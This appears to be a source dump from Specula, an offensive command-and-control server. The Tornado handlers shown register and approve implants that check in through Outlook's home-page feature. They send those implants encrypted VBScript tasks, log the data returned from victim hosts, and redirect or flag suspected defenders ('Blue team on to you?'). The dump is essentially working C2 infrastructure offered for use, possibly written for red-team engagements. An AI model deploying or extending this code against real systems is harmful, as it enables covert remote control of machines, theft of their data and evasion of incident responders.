LOADSUPPORT=LOADSUPPORT.format(DLName, agent.supporturl), DLSUPPORT=DLName, CLSID=gconfig.CLSID) return for agent in self.application.helpers.a_list: #Doing urlparse to compare only the url and not hostname if urlparse(agent.codeurl).path == uri: #Code url - server encrypted vbscode self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Requesting Encrypted Code") self.set_header("Cache-Control", "no-store") agent.update_callback() agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat) if gconfig.PUSHOVER_API_TOKEN != None: if agent.pushnextcallback: self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Push on next callback enabled - sending push to the sweet operator") self.application.helpers.sendPush(agent.remoteip, agent.hostname, "Agent called back and you wanted to be notified") agent.pushnextcallback = False # Turning off push on next callback else: if agent.pushnextcallback: self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Push on next callback enabled - However no pushover key specified") agent.pushnextcallback = False # Turning off push on next callback if len(agent.tasks) > 0: self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Found queued task to execute - " + agent.tasks[0].name) code = agent.tasks[0].code if agent.tasks[0].encrypt: self.write("1") code = encrypt_code(code, agent.encryptionkey) else: self.write("0") self.write(self.application.helpers.addJitter(agent.jitter, agent.refreshtime).zfill(4)) self.write(code) handled = True else: self.write("2") # is this the best option? self.write(self.application.helpers.addJitter(agent.jitter, agent.refreshtime).zfill(4)) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): No queued task to execute") handled = True break if urlparse(agent.supporturl).path == uri: with open('helperFunctions/supportFuncs.txt') as fp: data = fp.read() env = jinja2.Environment(autoescape=False) doc = env.from_string(data) self.write(doc.render({ "CODEURL": agent.codeurl, "REFRESH_TIME": agent.refreshtime, "ENCRYPTIONKEY_LOCATION": gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION, "ENCRYPTIONKEY_VALUENAME": gconfig.ENCRYPTIONKEY_VALUENAME }) ) handled = True break if urlparse(agent.url).path == uri: #Unique url per agent self.set_header("Cache-Control", "no-store") self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Unique Agent URL triggered") self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Updating Lastseen, Useragent and callback count") agent.update_callback() agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat) agent.useragent = user_agent if agent.remoteip == "10.10.10.10": ## This is the task for prestaged clients to update db info if agent.prestaged != True: # we flip this after the the first callin cycle if gconfig.PUSH_UNEXPECTEDCALLBACK == "True": self.application.helpers.sendPush(remote_ip, "None", "[!] Unexpected Prestaged callback") handled = True self.render('base.html', OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, LOADSUPPORT="", DLSUPPORT="", CLSID=gconfig.CLSID) break else: self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Prestaged agents first checkin, executing special task to update database") mod = self.application.helpers.get_module('enumerate/host/list_basic') task = TaskClass('enumerate/host/list_basic', self.application.helpers.renderModule(mod, agent), mod.entry, {}, True) agent.add_task(task) # intentional fall through to base.html render # set firstseen to now agent.firstseen = datetime.now().strftime(gconfig.TIME_FORMAT) elif agent.remoteip != remote_ip: if gconfig.PUSH_NEWIP == "True": self.application.helpers.sendPush(agent.remoteip, agent.hostname, "New ip on existing agent, updating to {}".format(remote_ip)) agent.remoteip = remote_ip # intentional fall through self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Agent Connected") handled = True self.render('base.html', REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, LOADSUPPORT=LOADSUPPORT.format(DLName, agent.supporturl), DLSUPPORT=DLName, CLSID=gconfig.CLSID) break if not handled: if gconfig.PUSH_UNKNOWNCONNECTION == "True": self.application.helpers.sendPush(remote_ip, "UNKNOWN/Blue team", "Call in to our valid handler url, but not in database - Blue team on to you?") self.render('base.html', OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, LOADSUPPORT="", DLSUPPORT="", CLSID=gconfig.CLSID) self.application.helpers.save_agents_to_file() else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): Inbound connection with wrong UserAgent - Useragent: " + user_agent) if gconfig.PUSH_UNEXPECTEDCALLBACK == "True": self.application.helpers.sendPush(remote_ip, "UNKNOWN/Blue team", "Connection with unexpected useragent: " + user_agent) if gconfig.REDIRECT_FALSE_AGENTS.lower() == "template": self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): REDIRECTING to template **Evil laugh**") self.render('redirect_template.html') else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): REDIRECTING to " + gconfig.REDIRECT_FALSE_AGENTS + " **Evil laugh**") self.redirect(gconfig.REDIRECT_FALSE_AGENTS) def post(self): user_agent = self.request.headers.get("User-Agent") url = self.request.full_url() uri = self.request.uri remote_ip = self.request.remote_ip self.application.helpers.speclog("*** [INBOUND POST] (" + remote_ip + ") - [URL]: " + self.request.full_url()) #TODO right now we return a 404, is that the intent if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate(): self.application.helpers.speclog('*** [blocklisted IP or ENDDATE] ({}): Valid POST endpoint request from blocklisted ip'.format(remote_ip)) self.set_status(404) elif 'Outlook' in user_agent: try: returndata = tornado.escape.json_decode(self.request.body) for agent in self.application.helpers.a_list: if urlparse(agent.url).path == uri: t = None if agent.tasks != []: #call return data handler of task t = agent.tasks.pop(0) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Data returned from agent") returndata_decoded = decrypt_code(returndata,agent.encryptionkey) if t is None or t.printlog: with open("agent_data/" + agent.hostname + ".txt", "a+") as agent_log: agent_log.write(datetime.now().strftime(self.application.helpers.timeformat) + " -- " + t.name + "\n") agent_log.write(returndata_decoded + "\n\n") self.application.helpers.speclog( "*** [AGENTCOM] (" + remote_ip + "): RETURN DATA - " + returndata) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Data written to agent_data/" + agent.hostname + ".txt") if t is not None: mod = tmp = None if t.name in self.application.helpers.modlist: mod, tmp = self.application.helpers.modlist[t.name] elif t.name in self.application.helpers.hiddenmods: mod, tmp = self.application.helpers.hiddenmods[t.name] if mod is not None: module = mod.Spec(tmp, self.application.helpers) try: module.rethandler(agent, t.options, returndata_decoded) if module.entry == 'list_basic': agent.remoteip = self.request.remote_ip agent.useragent = user_agent if agent.prestaged: agent.prestaged = False if gconfig.PUSH_PRESTAGE == "True": self.application.helpers.sendPush(remote_ip, agent.hostname, "Prestaged agent first checkin") except Exception as msg: self.application.helpers.speclog("*** [AGENTCOM] ({}) ({}) error calling rethandler for task {}" "\t{}".format(remote_ip, agent.hostname, t.name, msg)) pass finally: del module del t self.application.helpers.save_agents_to_file() #UPDATE DB FILE self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Removed executed task from queue") break else: self.set_status(404) except ValueError: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - POST data sent was invalid - Might be DFIR") else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - Invalid Useragent on POST - Something phishy is going on!") self.set_status(404) ================================================ FILE: lib/handlers/specdevcomms.py ================================================ import copy from urllib.parse import unquote, urlparse from lib.core.specagents import AgentClass from lib.core.utility import encrypt_code, decrypt_code, TaskClass import tornado from datetime import datetime from lib.core.setup import gconfig class AgentDevComHandler(tornado.web.RequestHandler): def set_default_headers(self): self.set_header('Server', gconfig.SERVER_HEADER) def get(self): user_agent = self.request.headers.get("User-Agent") url = self.request.full_url() uri = self.request.uri remote_ip = self.request.remote_ip handled = False self.application.helpers.speclog("*** [INBOUND GET] (" + remote_ip + ") - [URL]: " + self.request.full_url()) if self.application.helpers.inblocklist(remote_ip): self.application.helpers.speclog('*** [blocklisted IP] ({}): Valid GET endpoint request from blocklisted ip'.format(remote_ip)) self.render('blocklist.html') return elif 'Outlook' in user_agent: self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + "): Valid Useragent") agent: AgentClass # type anotation if self.application.helpers.pastenddate(): handled = True self.application.helpers.speclog("*** [ENDDATE] (" + remote_ip + "): Returning Nothing") self.render('dev_blank.html', REFRESH_TIME=99999, OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) return for agent in self.application.helpers.a_list: #Doing urlparse to compare only the url and not hostname if urlparse(agent.codeurl).path == uri: #Code url - server encrypted vbscode self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Requesting Encrypted Code") self.set_header("Cache-Control", "no-store") if len(agent.tasks) == 0: self.set_status(404) else: code = agent.tasks[0].code if agent.tasks[0].encrypt: code = encrypt_code(code, agent.encryptionkey) self.write(code) handled = True break if urlparse(agent.url).path == uri: #Unique url per agent self.set_header("Cache-Control", "no-store") self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Unique Agent URL triggered") self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Updating Lastseen, Useragent and callback count") agent.update_callback() agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat) agent.useragent = user_agent if agent.remoteip == "10.10.10.10": ## This is the task for prestaged clients to update db info if agent.prestaged != True: # we flip this after the the first callin cycle self.application.helpers.sendPush(remote_ip, "None", "[!] Unexpected Prestaged callback") handled = True self.render('dev_blank.html', REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) else: self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Prestaged agents first checkin, executing special task to update database") function_enc = encrypt_code("list_basic()",agent.encryptionkey) #Added for test url_enc = encrypt_code(agent.url+"1194",agent.encryptionkey) codeurl_enc = encrypt_code(agent.codeurl,agent.encryptionkey) mod = self.application.helpers.get_module('enumerate/host/list_basic') task = TaskClass('enumerate/host/list_basic', self.application.helpers.renderModule(mod), mod.entry, {}, True) agent.add_task(task) handled = True self.render('dev_encrypted_task_template.html', url=url_enc, function_name=function_enc, REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CODEURL=codeurl_enc, ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION, ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME ) break elif agent.remoteip != remote_ip: self.application.helpers.sendPush(agent.remoteip, agent.hostname, "New ip on existing agent, updating to {}".format(remote_ip)) agent.remoteip = remote_ip handled = True self.render('dev_blank.html', REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) break if agent.tasks == []: #NO TASKS IN QUEUE self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): No tasks in queue, rendering dev_blank.html") handled = True self.render('dev_blank.html', REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) break self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Task Found - " + agent.tasks[0].name + " - Initiating Execution") function = agent.tasks[0].entry + "()" self.application.helpers.speclog("*** [DEVAGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): VBScript Function with Parameters sent - " + function) function_enc = encrypt_code(function,agent.encryptionkey) #Added for test url_enc = encrypt_code(agent.url,agent.encryptionkey) codeurl_enc = encrypt_code(agent.codeurl,agent.encryptionkey) template = 'encrypted_task_template.html' handled = True if len(agent.tasks) > 0 and not agent.tasks[0].encrypt: if gconfig.DEBUG: self.render('debugunencrypted_task_template.html', url=url_enc, function_name=function_enc, REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, code=agent.tasks[0].code, CLSID=gconfig.CLSID) else: self.render('dev_unencrypted_task_template.html', url=url_enc, function_name=function_enc, REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CODEURL=codeurl_enc, CLSID=gconfig.CLSID, ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION, ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME ) else: self.render('dev_encrypted_task_template.html', url=url_enc, function_name=function_enc, REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, agent.refreshtime), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CODEURL=codeurl_enc, CLSID=gconfig.CLSID, ENCRYPTIONKEY_LOCATION=gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION, ENCRYPTIONKEY_VALUENAME=gconfig.ENCRYPTIONKEY_VALUENAME ) break if not handled: self.application.helpers.sendPush(remote_ip, "UNKNOWN", "Call in to our valid handler url, but not in database") self.render('dev_blank.html', REFRESH_TIME=99999, OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) self.application.helpers.save_agents_to_file() else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): Inbound connection with wrong UserAgent - Useragent: " + user_agent) self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): REDIRECTING to " + gconfig.REDIRECT_FALSE_AGENTS + " **Evil laugh**") self.redirect(gconfig.REDIRECT_FALSE_AGENTS) def post(self): user_agent = self.request.headers.get("User-Agent") url = self.request.full_url() uri = self.request.uri remote_ip = self.request.remote_ip self.application.helpers.speclog("*** [INBOUND POST] (" + remote_ip + ") - [URL]: " + self.request.full_url()) #TODO right now we return a 404, is that the intent if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate(): self.application.helpers.speclog('*** [blocklisted IP or ENDDATE] ({}): Valid POST endpoint request from blocklisted ip'.format(remote_ip)) self.set_status(404) elif 'Outlook' in user_agent: try: returndata = tornado.escape.json_decode(self.request.body) for agent in self.application.helpers.a_list: if urlparse(agent.url).path+"1194" == uri: ### Prestaged client running first update ### self.application.helpers.speclog( "*** [AGENTCOM] (" + remote_ip + "): RETURN DATA - " + returndata) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Prestaged client posting back for the first time") self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Updating prestaged client database data") returndata_decoded = decrypt_code(returndata,agent.encryptionkey) agent.username = returndata_decoded.split()[1] if agent.remoteip != '10.10.10.10' or agent.prestaged is not True: # not the first use of this prestaged agent self.application.helpers.sendPush(agent.remoteip, agent.hostname, 'prestaged agent used more then once likely being investigated. new ip:hostname {}:{}'.format(self.request.remote_ip, returndata_decoded.split()[3])) #TODO ok cool now what are we going to automatically do about it else: self.application.helpers.sendPush(self.request.remote_ip, returndata_decoded.split()[3], 'prestaged agent first checkin! ') agent.hostname = returndata_decoded.split()[3] agent.remoteip = self.request.remote_ip agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat) agent.useragent = user_agent self.application.helpers.save_agents_to_file() break if urlparse(agent.url).path == uri: t = None if agent.tasks != []: #call return data handler of task t = agent.tasks.pop(0) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Data returned from agent") returndata_decoded = decrypt_code(returndata,agent.encryptionkey) if t is None or t.printlog: with open("agent_data/" + agent.hostname + ".txt", "a+") as agent_log: agent_log.write(datetime.now().strftime(self.application.helpers.timeformat) + " -- " + t.name + "\n") agent_log.write(returndata_decoded + "\n\n") self.application.helpers.speclog( "*** [AGENTCOM] (" + remote_ip + "): RETURN DATA - " + returndata) self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Data written to agent_data/" + agent.hostname + ".txt") if t is not None: mod = tmp = None if t.name in self.application.helpers.modlist: mod, tmp = self.application.helpers.modlist[t.name] elif t.name in self.application.helpers.hiddenmods: mod, tmp = self.application.helpers.hiddenmods[t.name] if mod is not None: module = mod.Spec(tmp, self.application.helpers) try: module.rethandler(agent, t.options, returndata_decoded) except Exception as msg: self.application.helpers.speclog("*** [AGENTCOM] ({}) ({}) error calling rethandler for task {}" "\t{}".format(remote_ip, agent.hostname, t.name, msg)) pass finally: del module del t self.application.helpers.save_agents_to_file() #UPDATE DB FILE self.application.helpers.speclog("*** [AGENTCOM] (" + remote_ip + ") (" + agent.hostname + "): Removed executed task from queue") break else: self.set_status(404) except ValueError: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - POST data sent was invalid - Might be DFIR") else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - Invalid Useragent on POST - Something phishy is going on!") self.set_status(404) ================================================ FILE: lib/handlers/specpayload.py ================================================ import tornado from urllib.parse import urlparse from lib.core.setup import gconfig class PayloadHandler(tornado.web.StaticFileHandler): def set_default_headers(self): self.set_header('Server', gconfig.SERVER_HEADER) #def write_error(self, status_code, **kwargs): # if status_code == 404: # self.redirect('http://example.com') # Fetching a default resource ================================================ FILE: lib/handlers/specvalidate.py ================================================ import tornado import base64 from datetime import datetime from urllib.parse import urlparse from lib.core.specagents import AgentClass import copy from lib.core.setup import gconfig class ValidateAgentHandler(tornado.web.RequestHandler): def set_default_headers(self): self.set_header('Server', gconfig.SERVER_HEADER) hostname = urlparse(gconfig.DNS_NAME).hostname def get(self): ### Get User agent and remote ip ### user_agent = self.request.headers.get("User-Agent") remote_ip = self.request.remote_ip self.application.helpers.speclog("*** [INBOUND GET] (" + remote_ip + ") - [URL]: " + self.request.full_url()) if self.application.helpers.inblocklist(remote_ip) and 'Outlook' not in user_agent: self.application.helpers.speclog("*** [blocklisted IP] ({})".format(remote_ip)) self.redirect(gconfig.REDIRECT_FALSE_AGENTS) elif self.application.helpers.inblocklist(remote_ip) and 'Outlook' in user_agent: self.render('blocklist.html', CLSID=gconfig.CLSID) elif 'Outlook' in user_agent: if self.application.helpers.pastenddate(): self.application.helpers.speclog("*** [ENDDATE] (" + remote_ip + "): Returning Nothing") self.render('base.html', REFRESH_TIME=99999, OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID) return self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + "): Valid Useragent") self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + "): Rendering validation.html") hn = urlparse(self.request.full_url()).hostname if hn != self.hostname: self.application.helpers.speclog(""" *** [WARNING] The Hostname we are returning does not equal the hostname used {} != {}""".format(hn, self.hostname)) port_value = "" if gconfig.WEBSERVER_PORT not in (80, 443): port_value = f":{gconfig.WEBSERVER_PORT}" self.render('validation.html', DNS=gconfig.DNS_NAME, PORT=port_value, URL=gconfig.VALIDATE_URL, REFRESH_TIME=self.application.helpers.addJitter(gconfig.JITTER, gconfig.DEFAULT_REFRESH_TIME), OUTLOOK_VIEW_ID=gconfig.OUTLOOK_VIEW_ID, CLSID=gconfig.CLSID, ENCRYPTIONKEY_LOCATION = gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION, ENCRYPTIONKEY_VALUENAME = gconfig.ENCRYPTIONKEY_VALUENAME ) else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): Inbound connection with wrong UserAgent - Useragent: " + user_agent) if gconfig.REDIRECT_FALSE_AGENTS.lower() == "template": self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): REDIRECTING to template **Evil laugh**") self.render('redirect_template.html') else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + "): REDIRECTING to " + gconfig.REDIRECT_FALSE_AGENTS + " **Evil laugh**") self.redirect(gconfig.REDIRECT_FALSE_AGENTS) def post(self): user_agent = self.request.headers.get("User-Agent") remote_ip = self.request.remote_ip self.application.helpers.speclog("*** [INBOUND POST] (" + remote_ip + ") - [URL]: " + self.request.full_url()) if self.application.helpers.inblocklist(remote_ip) or self.application.helpers.pastenddate(): self.application.helpers.speclog("*** [blocklisted IP or ENDDATE] ({}): attempted post request".format(remote_ip)) self.set_status(404) elif 'Outlook' in user_agent: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + "): Valid Useragent") try: sessionid = tornado.escape.json_decode(self.request.body) agent_hostname = copy.deepcopy(sessionid) agent_hostname = base64.b64decode(agent_hostname).decode("utf-16le", "ignore").split("|")[0] ### CHECK IF IN DB ### found = 0 if self.application.helpers.a_list != []: # check a_list not empty agent: AgentClass # type anotation for agent in self.application.helpers.a_list: if agent.sessionid == sessionid: agent.update_callback() agent.lastcheckin = datetime.now().strftime(gconfig.TIME_FORMAT) #self.application.helpers.speclog("*** [INITIAL AGENT] - " + agent_hostname + ": Agent already in Database - Outlook most likely needs to be restarted for it to pickup new url") found = 1 agent.updateinitialcheckincount(agent.initialcheckincount+1) # Add 1 to checkin count self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Increasing Initial Checkin Count") #print(agent.approved) if agent.approved == True: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Agent is approved") if agent.keysent == False: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Agent is approved - But encryption key not sent") self.write(agent.encryptionkey + "||" + agent.url) agent.keysent = True self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Encryption key sent") if gconfig.PUSH_NEWAGENT == "True": self.application.helpers.sendPush(agent.remoteip, agent.hostname, "New Fully Authenticated Agent! New URL and Encryption key sent to agent. Time to get pwning!") else: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Outlook needs to restart to pick up new url") else: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Agent is not approved yet - Checkin Count is too low") #Check if initial checkin count - Set Approved value in DB to true if agent.initialcheckincount == gconfig.INITIAL_CHECKIN_COUNT-1: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Agent has reached enough checkins - Agent set to Approved") agent.approved = True agent.generate_com() #Generate urls and encryption if gconfig.PUSH_NEWAGENT == "True": self.application.helpers.sendPush(agent.remoteip, agent.hostname, "New Approved Agent!") self.application.helpers.save_agents_to_file() ### Not found in existing asset db - Register it ### if found == 0: self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): New Agent - Registering in Database") self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Writing post data to agent_data/" + agent_hostname + ".txt") agent_log = open("agent_data/" + agent_hostname + ".txt", "a+") agent_log.write(datetime.now().strftime(gconfig.TIME_FORMAT) + "\n") agent_log.write("Hostname|Username:\n") agent_log.write(base64.b64decode(sessionid).decode("utf-16le", "ignore") + "\n\n") agent_log.close() self.application.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, datetime.now().strftime(gconfig.TIME_FORMAT)) self.application.helpers.save_agents_to_file() #UPDATE DB FILE if gconfig.PUSH_VALIDATION == "True": self.application.helpers.sendPush(remote_ip, base64.b64decode(sessionid).decode("utf-16le", "ignore"), "New Validation Ongoing!") else: # Empty DB - Register agent self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Not in Database - New Agent - Registering in Database") self.application.helpers.speclog("*** [VALIDATION CHECK] (" + remote_ip + ") (" + agent_hostname + "): Writing post data to agent_data/" + agent_hostname + ".txt") agent_log = open("agent_data/" + agent_hostname + ".txt", "a+") agent_log.write(datetime.now().strftime(gconfig.TIME_FORMAT) + "\n") agent_log.write("Hostname|Username:\n") agent_log.write(agent_hostname) ## Add username agent_log.write(base64.b64decode(sessionid).decode("utf-16le", "ignore") + "\n\n") agent_log.close() self.application.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, datetime.now().strftime(gconfig.TIME_FORMAT)) self.application.helpers.save_agents_to_file() #UPDATE DB FILE if gconfig.PUSH_VALIDATION == "True": self.application.helpers.sendPush(remote_ip, base64.b64decode(sessionid).decode("utf-16le", "ignore"), "New Validation Ongoing!") except ValueError: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - POST data sent was invalid - Might be DFIR") else: self.application.helpers.speclog("*** [ALERT] (" + remote_ip + ") - Invalid Useragent on POST - Something phishy is going on!") self.set_status(404) class UnknownPageHandler(tornado.web.RequestHandler): """No Endpoint Handler.""" def set_default_headers(self): self.set_header('Server', gconfig.SERVER_HEADER) def get(self): ips = [a.remoteip for a in self.application.helpers.a_list] if self.request.remote_ip in ips: agent = [a for a in self.application.helpers.a_list if a.remoteip == self.request.remote_ip][0] paths = [urlparse(a).path for a in agent.otherurls.keys()] if self.request.uri in paths: self.application.helpers.speclog( "*** [AGENTCOM] (" + agent.remoteip + ") (" + agent.hostname + "): Requesting second stage") self.set_header("Cache-Control", "no-store") self.write(agent.otherurls.pop(gconfig.DNS_NAME + self.request.uri)) return ### Default Get Handler ### self.application.helpers.weblog.warning('Request to Invalid Page from {}'.format(self.request.remote_ip)) self.application.helpers.speclog("*** [ALERT] (" + self.request.remote_ip + ") - Connection attempt to none Specula url - Possibly DFIR or Internet saying hello") if gconfig.PUSH_CONNECTION_OUTSIDESPECULA == "True": self.application.helpers.sendPush(self.request.remote_ip, self.request.uri, "Connection attempt outside of Specula") self.application.helpers.speclog("*** [ALERT] (" + self.request.remote_ip + ") - [URL]: " + self.request.full_url()) #self.write('{"status": "ERROR: Unknown API Endpoint."}\n') return ### FUNCTIONS ### ================================================ FILE: lib/handlers/validation.html ================================================ Outlook ================================================ FILE: lib/menu/specpromptdbedit.py ================================================ import random import secrets import string import os import cmd import base64 import inspect from datetime import datetime from lib.core.setup import gconfig from lib.core.helpers import Helpers class SpecPromptDbedit(cmd.Cmd): def __init__(self, selected_agent, helpers): print("SHOULD ONLY BE USED FOR EDITING IF YOU KNOW WHAT YOU ARE DOING!") self.ranAuto = False self.helpers = helpers self.selected_agent = selected_agent super().__init__() while len(self.helpers.rccommands) > 0: if self.onecmd(self.helpers.rccommands.pop(0)) is True: self.ranAuto = True return completekey = 'tab' def precmd(self, line): # Added for operator logging self.helpers.operatorlog(str(" "+line), False) return(line) def emptyline(self): """Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """ if self.lastcmd: self.lastcmd = "" return self.onecmd('\n') def do_list(self, inp): outlist = {} try: for value in vars(self.selected_agent): if value == "encryptedvbsfunctions": pass elif value == "tasks": outlist.update( {"tasks in queue" : len(self.selected_agent.tasks) }) else: outlist.update( {value : str(vars(self.selected_agent)[value]) }) for key,val in sorted(outlist.items()): print("{} : {}".format(key,val) , end="\n") except ValueError: print("Something went wrong...Not sure what") def help_list(self): print("Description: Lists out all agent properties") print("Usage: list") def do_set(self, cmd): args = Helpers.getarguments(cmd) if len(args) == 0: print("You need to specify a value to edit") return key = args.pop(0) if len(args) == 0: val = None else: val = ' '.join(args) try: if hasattr(self.selected_agent, key): setattr(self.selected_agent, key, val) print("{} Updated to {}".format(key,val)) else: print("Invalid setting") except Exception as msg: print("Failed to set option: {}".format(msg)) def help_set(self): print("Description: use this to change a setting") print("Usage: set ") print("Should only be used if you know what you are doing\n" "Example: set refreshtime 100\n" "Example: set keysent False") def complete_set(self, text, line, begidx, endidx): return [i for i, j in inspect.getmembers(self.selected_agent) if i.startswith(text) and i[0] != '_'] def do_clear(self, inp): os.system('clear') def help_clear(self): print("Description: Clears the screen") print("Usage: clear") def do_back(self, inp): return True def help_back(self): print("Description: Goes back in the menu") print("Usage: back") ================================================ FILE: lib/menu/specpromptexplorer.py ================================================ import os import cmd import copy from pathlib import PureWindowsPath import traceback from datetime import datetime from lib.core.setup import gconfig from lib.core.helpers import Helpers from lib.menu.specpromptmodule import SpecPromptModule from lib.core.utility import TaskClass class SpecPromptExplorer(cmd.Cmd): def __init__(self, selected_agent, helpers): self.ranAuto = False self.helpers = helpers self.selected_agent = selected_agent self.pathvar = PureWindowsPath("c:/") super().__init__() while len(self.helpers.rccommands) > 0: if self.onecmd(self.helpers.rccommands.pop(0)) is True: self.ranAuto = True return completekey = 'tab' def precmd(self, line): # Added for operator logging self.helpers.operatorlog(str(" "+line), False) return(line) def emptyline(self): """Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """ if self.lastcmd: self.lastcmd = "" return self.onecmd('\n') def do_back(self, inp): return True def help_back(self): print("Description: Goes back in the menu") print("Usage: back") def do_clear(self, inp): os.system('clear') def help_clear(self): print("Description: Clears the screen") print("Usage: clear") def do_refreshtime(self, inp): try: self.selected_agent.refreshtime = int(inp) self.helpers.save_agents_to_file() except ValueError: print("Enter a digit value: 1-99999") def help_refreshtime(self): print("Description: Sets the refreshtime for the agent - specified in seconds") print("Usage: refreshtime 360") def do_jitter(self, inp): try: self.selected_agent.jitter = int(inp) self.helpers.save_agents_to_file() except ValueError: print("Enter a digit value: 1-99999") def help_jitter(self): print("Description: Sets the jitter for the agent - specified in seconds") 